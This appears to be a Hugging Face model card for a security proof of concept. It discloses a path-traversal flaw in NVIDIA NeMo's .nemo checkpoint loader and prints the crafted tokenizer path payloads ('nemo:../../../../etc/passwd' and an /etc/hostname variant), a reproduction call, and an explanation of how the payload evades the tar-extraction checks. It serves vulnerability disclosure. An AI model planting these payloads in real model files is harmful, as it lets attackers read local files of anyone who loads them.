NeMo
security
poc

PoC β€” NVIDIA NeMo .nemo Path Traversal / Arbitrary File Read (nemo: artifact paths)

This is a security proof-of-concept, not a real model. attacker.nemo is a minimal, benign-looking NeMo ASR checkpoint whose model_config.yaml contains a crafted tokenizer.model_path artifact reference that escapes the archive extraction directory using ../ traversal.

  • Project: NVIDIA-NeMo/NeMo (main)
  • Sink: nemo.core.connectors.save_restore_connector.SaveRestoreConnector.register_artifact
  • Class: CWE-22 Path Traversal β†’ arbitrary local file read/open on model load
  • Impact: arbitrary local file read at the loader's privileges (not RCE, not file write)

Malicious element

model_config.yaml:

tokenizer:
  type: bpe
  model_path: "nemo:../../../../../../../../etc/passwd"   # <-- traversal payload

The nemo: value is resolved by register_artifact as os.path.abspath(os.path.join(app_state.nemo_file_folder, src[5:])) with no ../containment validation, so it resolves to /etc/passwd β€” outside the per-restore extraction sandbox β€” and the tokenizer then opens it automatically.

Reproduce

from nemo.collections.asr.models import EncDecCTCBPEModel
EncDecCTCBPEModel.restore_from("attacker.nemo")

During construction, _setup_tokenizer calls register_artifact('tokenizer.model_path', 'nemo:../../../../etc/passwd'), which returns /etc/passwd, and SentencePieceTokenizer(model_path='/etc/passwd') opens that out-of-sandbox file. (It then errors because /etc/passwd is not a valid SentencePiece proto β€” the security-relevant event, opening a file outside the archive, has already occurred.)

For clean content disclosure, swap in the WPE variant so the target file's lines are loaded into the tokenizer vocabulary:

tokenizer:
  type: wpe
  vocab_path: "nemo:../../../../etc/hostname"

β†’ readable via model.tokenizer.get_vocab().

Notes

  • Read-only: the resolver requires the target to already exist (no write/create).
  • Runs at the privilege of the process calling restore_from β€” no escalation.
  • The archive itself is clean and passes NeMo's is_safe_tar_member; the payload is a config string, so it bypasses the tar-extraction hardening entirely.

Full write-up and patch: see the linked Huntr report.

Downloads last month
23
Inference Providers NEW
This model isn't deployed by any Inference Provider. πŸ™‹ Ask for provider support